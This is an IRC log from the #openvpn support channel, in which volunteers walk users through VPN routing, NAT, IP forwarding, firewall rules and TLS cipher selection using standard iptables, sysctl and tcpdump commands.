16:55 < Mcsnugglez_> talking about routing info , i needs some kind advice  / help , i have been beaking my head against this vpn wall for like 5 hours , i can get a connection but the routing does not seem to like me ;p /waves white flag. anybody willing to lend me a helping hand?
16:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:55 < Thermi> What's the issue?
16:56 < mapps> lol dont know how crass  :(
16:56 < mapps> hey Mcsnugglez_ sounds kinda similar to me maybe
16:57 < mapps> is it possible i need to add a route somewhere crass ?
16:57 < Mcsnugglez_> the main goal is to use my vpn's internet. i can make a connection and the client (10.77.0.6 and the server 10.77.0.1) can ping eachother. i didnt get the iprouting thingy under control so i fiddled around with it a bit , yet still no internet that gets passed through the vpn.
16:58 < crass> mapps: perhaps, its just hard to see what the problem is when you can't see how its configured
16:58 < crass> mapps: when you have the vpn connected, can you access the regular internet? or everything times out?
16:58 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:59 < mapps> i can access everything
16:59 < mapps> oh
16:59 < mapps> sorry on the iphone still?
16:59 < crass> yes
16:59 < mapps> everything times out
16:59 < mapps> email/web/whatsapp etc
17:01 < crass> when you try to ping .5 from the phone what response to you get? timeout?
17:01 -!- defswork [~andy@141.0.50.105] has joined #openvpn
17:03 < Thermi> Mcsnugglez_: Masquerading and ip_forwarding
17:03 < mapps> cant ping on it..il see if theres some kind of app
17:03 < crass> what does "can't ping" mean?
17:03 < mapps> on the phone
17:04 < crass> yes, I know that, what response do you get? what does it tell you? be _descriptive_!
17:04 < crass> basically we want to figure out if the packet is being sent and not replied to or just not being sent at all
17:05 < mapps> im a bit lost..you're saying ping 0.5 from the phone? I cant ;(
17:05 < mapps> on the server pinging 10.0.0.5 just gets no response ..just tried again
17:05 < crass> no, not on the server
17:05 < crass> why can't you on the phone? no app for that?
17:05 < mapps> no
17:05 < mapps> lol
17:05 < crass> fyl
17:06 -!- JackWinter [~jack@vodsl-4997.vo.lu] has quit [Ping timeout: 272 seconds]
17:06 < mapps> ooh
17:06 < mapps> there is now
17:06 < Mcsnugglez_> could you perhaps give me an example what i need to add ? i tried a lot of combo's before and i think i just got 1 bit wrong every time , i can copy / paste them to you in a whisper if you would have a look at em?
17:07 < mapps> !linforward
17:07 < Mcsnugglez_> !welcome
17:07 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
17:07 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
17:07 < mapps> !redirect
17:07 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:07 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
17:08 < Mcsnugglez_> !nat
17:08 < mapps> !ipforward
17:08 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
17:08 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
17:08 < mapps> those may help you
17:08 -!- tjj [~tjj@rtr.WellsStreetTower.onshore.net] has quit [Ping timeout: 240 seconds]
17:08 < Mcsnugglez_> i enabled ip forward, checked it just now , its just the route order i think i messed up
17:08 < Mcsnugglez_> !linnat
17:08 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
17:09 < mapps> what about iptables
17:09 < mapps> yea
17:09 < Mcsnugglez_> so only 1 of those 2 options i need to use right?
17:09 -!- Otacon22 [~otacon22@93-36-89-25.ip59.fastwebnet.it] has quit [Ping timeout: 272 seconds]
17:09 < mapps> waiyea the 1st
17:09 < mapps> i did
17:10 < Mcsnugglez_> how can i check that its added properly ?
17:10 < mapps> ok pinged on phone timesout
17:11 < mapps> iptables -t NAT -L
17:11 < mapps> will lisrt
17:11 < mapps> *list
17:12 < crass> mapps: ok, sounds like its being sent then
17:12 < Mcsnugglez_> ok it shows it at the bottom option , the other 3 (prerouting etc) are empty , thats the way its supposed to be ?
17:12 < mapps> yea
17:12 < crass> verify that by listening on the server's tun to see if you see the ping
17:12 < mapps> cat /proc/net/sys/ipv4/ip_forward check it is 1 Mcsnugglez_
17:14 < mapps> tcpdump seems to be showing loads does it just list everything recent lol
17:14 < mapps> its still listing stuff that was between 10.8.0.10 but i disconnected laptop and netbook
17:14 < jtran> my openvpn server is attempting to push a route 192.168.0.0/16 to my client altho i don' t have any config specifying that… how do i prevent openvpn server from trying to push any routes to the clients other than ones that i specify?
17:14 < crass> no, it only shows stuff it sees
17:15 < crass> so something is sending on .10
17:15 < mapps> i see there
17:15 < crass> perhaps the iphone is now on .10?
17:15 < mapps> 10.8.0.1 > 10.8.06 : ICMMP 10.8.0.1 udp port 53 unreachable
17:16 -!- Mcsnugglez_ [~IceChat9@53547430.cm-6-5b.dynamic.ziggo.nl] has quit [Ping timeout: 272 seconds]
17:16 < crass> that's not the right packet
17:17 < mapps> hmm
17:17 < crass> you should be looking for a .6 -> .5 ICMP echo request
17:17 < mapps> i dont see any to 10.0.0.5 mentioned at all
17:17 < mapps> i was but i cant see any to 5
17:17 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
17:17 < crass> you're pinging from the phone to 10.8.0.5 right?
17:17 < mapps> =howcome theres 2 ips associated with phone there isnt for mylaptop is there?
17:18 < mapps> yep i was pinging from the phone downloaded an app
17:18 < crass> you must ping while tcpdump is running!
17:18 < crass> dude, I just explained the reason for the two ips :(
17:18 < crass> and yes your laptop will have them also
17:19 < mapps> i am doing
17:19 < mapps> ive got tcpdump up now still
17:19 < mapps> still see no mention of the .5
17:19 < crass> hmm, yet from the server you can ping .6?
17:20 <+pekster> jtran: Using --server I'm guessing? Read the manpage becuase you *are* pushing a route for the VPN range as that option is a "helper-option" that expands to many others. Further, don't use a /16 (OpenVPN really don't scale to the point of having 16k clients attached at once)
17:20 < mapps> yep
17:20 < mapps> gonna read the doc again not that i can see it helping
17:21 < jtran> thx pekster
17:21 < jtran> pekster:  fwiw, the ip range i was using is 172.16.199.0/24  , the route that is the /16 is for a different routed interface on the server
17:21 < jtran> not the address range being assigned to the vpnc clients
17:22 <+pekster> jtran: Then it won't be pushed unless you asked it to; pushing a route to a client (what you see in the PUSH_REPLY if you use --verb 4) will only come if the server specifies it in the master config, a ccd file (see !ccd) or a --client-connect script on the server
17:22 < crass> mapps: so on the server you're doing something like: tcpdump -i tun0 -A host 10.8.0.6 ?
17:22 < jtran> that's what i figured.   it must be something i'm overlooking.  thx again for clarifying pekster
17:23 <+pekster> I also hope you're not using an entire /16 on your LAN side, but that's out of scope for here (it's just poor networking practice)
17:23 -!- Otacon22 [~otacon22@93-36-89-25.ip59.fastwebnet.it] has joined #openvpn
17:31 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has joined #openvpn
17:32 -!- locojay2 [~locojay@207.239.107.3] has quit [Ping timeout: 246 seconds]
17:32 < jtran> pekster:  i don't disagree.
17:42 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:59 -!- Otacon22 [~otacon22@93-36-89-25.ip59.fastwebnet.it] has quit [Ping timeout: 246 seconds]
18:07 -!- jtran [~jtran@pool-71-243-221-193.lsanca.fios.verizon.net] has quit [Quit: jtran]
18:17 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 272 seconds]
18:28 < mapps> hey crass
18:28 < mapps> no i was listening to all connections
18:28 < mapps> il try that now then
18:29 < mapps> listening now on that command for just host 10.8.0.6
18:30 -!- locojay2 [~locojay@207.239.107.3] has joined #openvpn
18:31 -!- jtran [~jtran@mobile-198-228-211-211.mycingular.net] has joined #openvpn
18:33 -!- kossy [a@kossy.org] has quit [Excess Flood]
18:36 -!- kossy [a@kossy.org] has joined #openvpn
18:36 -!- kossy [a@kossy.org] has quit [Excess Flood]
18:36 -!- master_of_master [~master_of@p4FF2412D.dip0.t-ipconnect.de] has joined #openvpn
18:37 -!- kossy [a@kossy.org] has joined #openvpn
18:37 -!- kossy [a@kossy.org] has quit [Excess Flood]
18:37 -!- kossy [a@kossy.org] has joined #openvpn
18:37 -!- kossy [a@kossy.org] has quit [Excess Flood]
18:38 < jtran> so i've gotten my openvpn server to be connect my client, i can ping the tun0 ip on the server (172.16.199.1) , yet i cannot ssh to that ip port 22 doesn't respond i tested via telnet port 22.   Locally on the server, i can telnet to 172.16.199.1 22 and port verified working.  iptables rules are pretty wide open allows tcp 22 anywhere input
18:38 < jtran> ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:ssh
18:38 < jtran> any ideas what i might be doing wrong?
18:38 -!- locojay2 [~locojay@207.239.107.3] has quit [Ping timeout: 268 seconds]
18:38 < mapps> hm lets see
18:39 < mapps> not really sure
18:39 < mapps> :(
18:40 <+pekster> Taken out of context that is a horrible way to review your firewall rules
18:40 <+pekster> https://www.pekster.net/staging/josh/md/iptables-L.html
18:40 -!- master_o1_master [~master_of@p4FF240D4.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
18:41 < mapps> hey pekster  did you have any ideas on my issue? im stuck as hell
18:41 < jtran> pekster:  no you're right i agree it could mean very little http://pastebin.com/3CA3Xgn9
18:42 <+pekster> I refuse to read output in that format
18:42 <+pekster> Did you even _read_ the URL I just posted?
18:42 < jtran> fwiw, tcpdump -i tun0 dst port 22  , i do get some feedback when i attempt from client to telnet to server 172.16.199.1 22:
18:42 < jtran> 23:40:48.189651 IP 172.16.199.6.55241 > 172.16.199.1.ssh: Flags [S], seq 3226656846, win 65535, options [mss 1368,nop,wscale 1,nop,nop,TS val 338668368 ecr 0,sackOK,eol], length 0
18:42 <+pekster> iptalbes -L is horriable, terriable, hard to read, omits info, and I will _not_ read it
18:42 <+pekster> Try again.
18:42 < jtran> pekster: kk
18:43 -!- kossy [a@kossy.org] has joined #openvpn
18:43 -!- kossy [a@kossy.org] has quit [Excess Flood]
18:44 < jtran> pekster: my apologies: http://pastebin.com/jARim1Ct
18:44 < jtran> fwiw, my client laptop is 172.16.199.6
18:44 -!- kossy [a@kossy.org] has joined #openvpn
18:44 -!- kossy [a@kossy.org] has quit [Excess Flood]
18:44 < mapps> hey
18:44 <+pekster> jtran: Naturally that won't accept packets on your tun interface since you're only accepting tcp/22 packets on the "bond1.2002" interface
18:45 <+pekster> Today's lesson is "do not rely on `iptables -L` output"
18:45 < jtran> ooh  sonuva
18:45 < mapps> crass,  i just reconnected and its showing stuff from 10.0.0.1 . > 10.0.0.6 (iphone) like google.com soundcloud etc
18:45 < mapps> but
18:45 < mapps> still cant get anywhere
18:45 < jtran> pekster:   that is awesome.
18:46 < jtran> you are sooo the man.
18:46 < jtran> pekster: thank you!
18:46 < mapps> damn this is odd
18:47 -!- locojay2 [~locojay@108.30.139.71] has joined #openvpn
18:51 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has joined #openvpn
18:53 -!- locojay2 [~locojay@108.30.139.71] has quit [Ping timeout: 246 seconds]
18:56 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has quit [Read error: Operation timed out]
19:06 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:10 -!- kossy [a@kossy.org] has joined #openvpn
19:22 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
19:29 -!- jtran [~jtran@mobile-198-228-211-211.mycingular.net] has quit [Ping timeout: 272 seconds]
19:31 -!- jtran [~jtran@pool-71-243-221-193.lsanca.fios.verizon.net] has joined #openvpn
19:45 -!- jtran [~jtran@pool-71-243-221-193.lsanca.fios.verizon.net] has left #openvpn []
19:48 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
20:18 -!- raidz is now known as raidz_away
20:42 -!- zorbsone [~zorbsone@S010648f8b34492b8.ok.shawcable.net] has joined #openvpn
20:52 -!- zorbsone [~zorbsone@S010648f8b34492b8.ok.shawcable.net] has quit [Quit: Lost terminal]
20:54 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has quit [Ping timeout: 272 seconds]
21:04 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
21:22 -!- warped_ [~w@71.92.4.158] has joined #openvpn
21:23 < warped_> Ok, I have an issue with the tun/tap driver on windows 8 64-bit, what happens is it hangs on the waiting for tun/tap, if I go and disable the virtual network card and re-enable it, it works again, but if I restart it dies again, any suggestions?
21:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
21:45 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
21:50 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:21 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
22:22 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
22:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
22:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
22:28 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
22:33 < akurilin> !serverlan
22:33 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
22:33 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
22:34 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
22:41 < akurilin> !ipforward
22:41 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
22:42 < akurilin> !linipforward
22:42 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
22:44 <+pekster> akurilin: picking up from before, if you're starting out to access a server-side LAN, you should first get a basic VPN setup using a unique (something outside the server network's range) and get that working before you proceed with the flowchart stuff
22:45 < akurilin> pekster, roger that, made a 10.0.8.0/24 subnet and placing a new instance in it to try this out
22:46 <+pekster> You don't place your instance _in_ the VPN network.. it's a completely virtual network that doesn't physically exist anywhere
22:46 <+pekster> Your VPN range in a routed configuration _cannot_ overlap with any other logical network anywhere in your routing domain
22:46 <+pekster> If you're using the openvpn sample default of 10.8.0/24 for your VPN, your server-side network can be anything that doesn't overlap with that
22:49 < akurilin> pekster, so the idea of a 10.8.0/24 network is pretty much existent within the VPN server, and it's the one who's keeping track of who's part of that virtual network, correct?
22:49 <+pekster> Right
22:49 < akurilin> So the VPN box can be anywhere, but the virtual IPs have to be allocated in an IP pool that won't shadow existing servers, yes?
22:50 <+pekster> Right, exactly. Just becuase the VPN is "virtual" doesn't mean you get to magically throw out the rules of how IP routing works
22:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
22:52 < akurilin> ok I'll go back to 10.8.0.0/24 then. My only concern was that AWS VPC doesn't allow anything beyond 10.0/16, so I was worried it'd filter something out in the process.
22:53 <+pekster> You'll need to add a route on the gateway for your existing LAN for the VPN range, or optionally add that route to each of your server-side LAN systems (thus bypassing the LAN's gateway) in order for return routing to work
22:54 <+pekster> optionally you can NAT to "hide" the VPN range, but that's more of a hackish solution and has 2 major flaws: 1) server-side systems can't initiate (directly access) connections to the connected VPN clients, and 2) it hides the true source of communication from the server-LAN PCs
22:57 < akurilin> pekster, ok, one thing at a time, processing a lot of new info right now :)
22:57 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
22:57 < akurilin> ok so I went back to 10.8.0/24
22:57 < akurilin> and the client connects just fine
22:57 < akurilin> can ping itself
22:57 < akurilin> can ping 10.8.0.1
22:57 < akurilin> flowchart time?
22:57 <+pekster> Yup, if you've gotten that far your VPN is "up and working"
22:59 < akurilin> Ok that's neat, I didn't realize that pinging the lan ip of the vpn server machine would tell me something about the firewall status
22:59 < akurilin> that's very convenient
23:01 < akurilin> pekster, I'm not sure what "do you have access to the router" means in this context. Which router are we talking about here?
23:01 <+pekster> Your server-side LAN's router
23:02 <+pekster> The system handling your traffic for off-link routing (ie: the LAN's default gateway)
23:02 < akurilin> so the idea is to say: if you need to send something to 10.8.0/24, forward it to the lan IP of the VPN server?
23:02 <+pekster> Right
23:03 < akurilin> Ok yeah, I think routing tables in VPC do exactly that, let me try
23:08 < akurilin> Ok. I added the route. What's happening now is that I can actually ping 10.8.0.1 from my lan servers, but I can't ping the clients from there, nor can the clients ping the lan servers.
23:09 < akurilin> Not sure where that falls in the flowchart.
23:09 <+pekster> You'll need both IP forwarding enabled on your VPN server, plus the firewalls to permit the traffic
23:10 < akurilin> !linipforward
23:10 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
23:10 <+pekster> Assuming you've done this on the VPN server, a traceroute from the server-side PCs to a VPN IP (you can start with just the VPN server) should get as far as the VPN server
23:10 <+pekster> If not, your LAN GW route isn't working (or is firewalled)
23:11 < akurilin> Haven't, let me try right away.
23:15 < akurilin> pekster, with traceroute -I , the VPN server is one hop away, nothing else appears reachable
23:17 <+pekster> Sounds like a firewall issue then. You do see the VPN server in the trace though, right?
23:19 < akurilin> pekster, setting forwarding on, on the VPN servers allows me to ping lan servers from client and client form lan servers
23:19 < akurilin> (yay!)
23:20 < akurilin> Will need to add uncommenting of forwarding in sysctl.conf to ansible to make sure that stays up
23:22 < akurilin> pekster, thank you sir.
23:24 <+pekster> Glad you got it working. Conceptually it helps to think of openvpn as "just another router" on your network. It's "other" network might be virtual (the VPN) but it works just the same from a routing perspective
23:25 <+pekster> IOW, your VPN server now has a second NIC, and its attached network is made up of the server itself and any active clients
23:26 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 245 seconds]
23:26 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 268 seconds]
23:27 < akurilin> pekster, so if I'm understanding correctly, all that happens on the client machines is that requests to that virtual network should be caught by the OS'
23:27 < akurilin> s routing table and forwarded to the vpn server?
23:27 <+pekster> If there's a route for it, yes
23:27 <+pekster> See the --route option to openvpn, which can be pushed to clients from the server
23:28 < akurilin> I see, this allows the server to edit the virtual IPs however it chooses and still make sure the clients forward correctly?
23:30 <+pekster> If I understand the question properly, yes. OpenVPN used as a server will dish out IPs to the clients and optionally push additional directives (like routing) to the client. The forwarding of IP traffic occurs in the OS kernel like normal
23:31 < akurilin> Perfect, that's what I was getting at.
23:37 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
--- Day changed Tue Oct 15 2013
00:06 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
00:20 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:30 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:40 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
00:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
00:57 -!- mattock_afk is now known as mattock
01:18 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
01:25 -!- |1li__ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
01:27 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
01:30 -!- kubbing [~kubbing@48.247.broadband13.iol.cz] has joined #openvpn
01:46 -!- g0ran [~shiva@109.228.107.48] has joined #openvpn
01:47 < g0ran> hello guys I've just set up openvpn server sucessfully and I am able to connect and to obtain ip address. however I want to tunnel all traffic from pc through openvpn. how do I do that?
01:54 -!- jacob11 [~shiva@109.228.120.159] has joined #openvpn
01:58 -!- g0ran [~shiva@109.228.107.48] has quit [Ping timeout: 268 seconds]
01:59 -!- jacob11 is now known as g0ran
01:59 < g0ran> any here willing to help me with tunneling traffic through openvpn_
02:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:24 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
02:33 < g0ran> if I use 10.10.10.0/24 ips for vpn server, does that mean that I shuold be able to ping from client to 10.10.10.1? because I am not able to do that
02:34 < g0ran> but I am able to ping client from server
02:36 -!- kubbing [~kubbing@48.247.broadband13.iol.cz] has quit [Remote host closed the connection]
02:37 -!- kubbing [~kubbing@48.247.broadband13.iol.cz] has joined #openvpn
02:40 -!- kubbing [~kubbing@48.247.broadband13.iol.cz] has quit [Read error: Operation timed out]
02:42 -!- ustyRy [~rusty@ip68-2-166-210.ph.ph.cox.net] has joined #openvpn
02:49 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Read error: Connection reset by peer]
02:49 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
02:59 -!- g0ran [~shiva@109.228.120.159] has quit [Quit: Leaving]
03:16 -!- Otacon22 [~otacon22@93-36-89-25.ip59.fastwebnet.it] has joined #openvpn
03:20 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
03:29 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
03:39 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
03:39 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
03:57 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has quit [Remote host closed the connection]
04:01 -!- memand [~memand@2001:41d0:1:d4b6::1] has quit [Ping timeout: 240 seconds]
04:04 -!- surfmasta [~surfmasta@80.92.88.10] has quit [Ping timeout: 245 seconds]
04:05 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
04:12 -!- xeqution [~z6@unaffiliated/z6] has joined #openvpn
04:16 < xeqution> Hello, I am currently wanting anyone that connects to my OpenVPN server to only see specific websites within an IP range.  For example if an employee connects to the OpenVPN server I only wish for the OpenVPN server to serve them if they hit IP 111.111.111/25.
04:16 < xeqution> My current server.conf file has the following:
04:16 < xeqution> server 10.8.0.0 255.255.255.0
04:16 < xeqution> ifconfig-pool-persist ipp.txt
04:16 < xeqution> push "redirect-gateway def1 bypass-dhcp"
04:16 < xeqution> push "dhcp-option DNS 8.8.8.8"
04:16 < xeqution> push "dhcp-option DNS 8.8.4.4"
04:16 < xeqution> push "route x.x.x.x 255.255.255.255"
04:17 < xeqution> What would I need to change/remove/add?
04:32 -!- adnap_ [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
04:33 -!- kossy_ [a@kossy.org] has joined #openvpn
04:35 -!- Denial [Denial@90.216.209.93] has joined #openvpn
04:35 -!- dropje_ [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
04:36 -!- kro[au]] [~thatguy@kgovps.com] has joined #openvpn
04:38 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
04:38 -!- kossy [a@kossy.org] has quit [Read error: Connection reset by peer]
04:38 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 272 seconds]
04:38 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has quit [Ping timeout: 272 seconds]
04:38 -!- kro[au] [~thatguy@kgovps.com] has quit [Ping timeout: 272 seconds]
04:38 -!- thesov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
04:39 -!- thesov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
04:39 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
04:40 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 265 seconds]
04:41 -!- ludde [~b@62.65.106.155] has joined #openvpn
04:50 < defswork> xeqution, you need firewall rules for that
04:55 -!- smue [smue@nostromo.smue.info] has joined #openvpn
04:56 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:57 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
04:57 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:57 < smue> Does anybody know why OpenVPN 2.3.2 always use TLS-DHE-RSA-WITH-AES-256-CBC-SHA as tls cipher? On both sides I'm using 2.3.2 and the available tls ciphers list (openvpn --show-tls) shows better ciphers (example: TLS-ECDHE-ECDSA-WITH-AES-256-GCM-SHA384)
04:58 < smue> I thought that OpenVPN uses the highest common denominiator from the cipher list (order of preference)
04:58 < smue> Or is this not still implemented in OpenVPN therefore the highest cipher is only TLS-DHE-RSA-WITH-AES-256-CBC-SHA
05:02 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
05:05 -!- kro[au]] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
05:06 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
05:27 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 265 seconds]
05:34 -!- afuentes [~afuentes@243.Red-83-60-110.dynamicIP.rima-tde.net] has joined #openvpn
05:45 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
05:48 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Operation timed out]
05:50 < xeqution> defswork: Would I simply just exclude all IP addresses from iptables that I didn't want to route through OpenVPN?
05:55 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
06:05 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has joined #openvpn
06:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:15 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
06:18 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
06:20 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has quit [Ping timeout: 264 seconds]
06:21 -!- zedsix [~z6@unaffiliated/z6] has joined #openvpn
06:24 -!- xeqution [~z6@unaffiliated/z6] has quit [Ping timeout: 245 seconds]
06:25 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
06:50 -!- Otacon22 [~otacon22@93-36-89-25.ip59.fastwebnet.it] has quit [Ping timeout: 264 seconds]
06:51 < BtbN> smue, i'd trust RSA + DHE more than some NSA-made eliptic curves currently.
06:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:57 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
07:00 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 246 seconds]
07:27 < smue> BtbN: Okay but what is with TLS-DHE-DSS-WITH-AES-256-GCM-SHA384? On the list of prefence it stands higher than TLS-DHE-RSA-WITH-AES-256-CBC-SHA
07:28 < smue> On both sides, client & server. Therefore i do not understand why openvpn still chooses the second cipher...
07:28 < BtbN> propably because noone bothered to change it, as the default is still strong enough
07:28 < BtbN> and uses less CPU
07:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
